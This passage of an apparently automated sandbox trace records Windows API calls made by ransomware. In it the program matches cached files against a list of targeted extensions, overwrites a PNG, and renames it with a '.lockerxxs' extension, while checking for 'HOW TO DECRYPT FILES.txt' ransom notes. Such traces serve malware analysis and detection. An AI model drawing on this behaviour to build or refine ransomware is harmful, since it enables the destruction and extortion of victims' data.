HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.811] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.811] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.811] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.811] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="AAn7gKR[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png" [0082.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.ems") returned 0 [0082.811] lstrlenA (lpString="*.ems") returned 5 [0082.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.db") returned 0 [0082.811] lstrlenA (lpString="*.db") returned 4 [0082.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.dbf") returned 0 [0082.812] lstrlenA (lpString="*.dbf") returned 5 [0082.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.myox") returned 0 [0082.812] lstrlenA (lpString="*.myox") returned 6 [0082.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.myo") returned 0 [0082.812] lstrlenA (lpString="*.myo") returned 5 [0082.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.qbw") returned 0 [0082.812] lstrlenA (lpString="*.qbw") returned 5 [0082.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.qbb") returned 0 [0082.812] lstrlenA (lpString="*.qbb") returned 5 [0082.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.qbm") returned 0 [0082.812] lstrlenA (lpString="*.qbm") returned 5 [0082.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.qbo") returned 0 [0082.812] lstrlenA (lpString="*.qbo") returned 5 [0082.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.qbx") returned 0 [0082.812] lstrlenA (lpString="*.qbx") returned 5 [0082.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.qba") returned 0 [0082.812] lstrlenA (lpString="*.qba") returned 5 [0082.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.qby") returned 0 [0082.812] lstrlenA (lpString="*.qby") returned 5 [0082.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.qbj") returned 0 [0082.812] lstrlenA (lpString="*.qbj") returned 5 [0082.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.ofx") returned 0 [0082.813] lstrlenA (lpString="*.ofx") returned 5 [0082.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.qif") returned 0 [0082.813] lstrlenA (lpString="*.qif") returned 5 [0082.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.mye") returned 0 [0082.813] lstrlenA (lpString="*.mye") returned 5 [0082.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.mbox") returned 0 [0082.813] lstrlenA (lpString="*.mbox") returned 6 [0082.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.eml") returned 0 [0082.813] lstrlenA (lpString="*.eml") returned 5 [0082.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.pst") returned 0 [0082.813] lstrlenA (lpString="*.pst") returned 5 [0082.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.ost") returned 0 [0082.813] lstrlenA (lpString="*.ost") returned 5 [0082.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.idx") returned 0 [0082.813] lstrlenA (lpString="*.idx") returned 5 [0082.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.dbx") returned 0 [0082.813] lstrlenA (lpString="*.dbx") returned 5 [0082.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.sql") returned 0 [0082.813] lstrlenA (lpString="*.sql") returned 5 [0082.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.mdb") returned 0 [0082.813] lstrlenA (lpString="*.mdb") returned 5 [0082.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.fdb") returned 0 [0082.813] lstrlenA (lpString="*.fdb") returned 5 [0082.813] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.wab") returned 0 [0082.813] lstrlenA (lpString="*.wab") returned 5 [0082.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.dat") returned 0 [0082.814] lstrlenA (lpString="*.dat") returned 5 [0082.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.txt") returned 0 [0082.814] lstrlenA (lpString="*.txt") returned 5 [0082.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.jpeg") returned 0 [0082.814] lstrlenA (lpString="*.jpeg") returned 6 [0082.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.jpg") returned 0 [0082.814] lstrlenA (lpString="*.jpg") returned 5 [0082.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", pszSpec="*.png") returned 1 [0082.814] lstrlenA (lpString="*.png") returned 5 [0082.814] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png" [0082.814] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png" [0082.814] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png." [0082.814] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png.lockerxxs" [0082.814] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aan7gkr[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.815] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xfe [0082.815] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45798350, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45798350, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45798350, dwHighDateTime=0x1d2faf3)) returned 1 [0082.815] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.815] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xd8, lpOverlapped=0x0) returned 1 [0082.817] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png") returned="AAn7gKR[1].png" [0082.817] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.817] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xd8, lpOverlapped=0x0) returned 1 [0082.818] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.818] CloseHandle (hObject=0xa4) returned 1 [0082.819] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aan7gkr[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aan7gkr[1].png.lockerxxs")) returned 1 [0082.820] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61be2420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61be2420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61be2420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x650, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", cAlternateFileName="ACTIVI~1.HTM")) returned 1 [0082.820] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.820] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned 1 [0082.820] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned 1 [0082.820] lstrcmpiA (lpString1="", lpString2="activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned -1 [0082.820] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png") returned="AAn7gKR[1].png" [0082.820] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.820] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.820] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.820] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.820] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm" [0082.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.ems") returned 0 [0082.821] lstrlenA (lpString="*.ems") returned 5 [0082.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.db") returned 0 [0082.821] lstrlenA (lpString="*.db") returned 4 [0082.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.dbf") returned 0 [0082.821] lstrlenA (lpString="*.dbf") returned 5 [0082.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.myox") returned 0 [0082.821] lstrlenA (lpString="*.myox") returned 6 [0082.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.myo") returned 0 [0082.821] lstrlenA (lpString="*.myo") returned 5 [0082.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.qbw") returned 0 [0082.821] lstrlenA (lpString="*.qbw") returned 5 [0082.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.qbb") returned 0 [0082.821] lstrlenA (lpString="*.qbb") returned 5 [0082.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.qbm") returned 0 [0082.821] lstrlenA (lpString="*.qbm") returned 5 [0082.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.qbo") returned 0 [0082.821] lstrlenA (lpString="*.qbo") returned 5 [0082.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.qbx") returned 0 [0082.821] lstrlenA (lpString="*.qbx") returned 5 [0082.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.qba") returned 0 [0082.821] lstrlenA (lpString="*.qba") returned 5 [0082.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.qby") returned 0 [0082.822] lstrlenA (lpString="*.qby") returned 5 [0082.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.qbj") returned 0 [0082.822] lstrlenA (lpString="*.qbj") returned 5 [0082.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.ofx") returned 0 [0082.822] lstrlenA (lpString="*.ofx") returned 5 [0082.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.qif") returned 0 [0082.822] lstrlenA (lpString="*.qif") returned 5 [0082.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.mye") returned 0 [0082.822] lstrlenA (lpString="*.mye") returned 5 [0082.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.mbox") returned 0 [0082.822] lstrlenA (lpString="*.mbox") returned 6 [0082.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.eml") returned 0 [0082.822] lstrlenA (lpString="*.eml") returned 5 [0082.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", pszSpec="*.pst") returned 0 [0082.822] lstrlenA (lpString="*.pst") 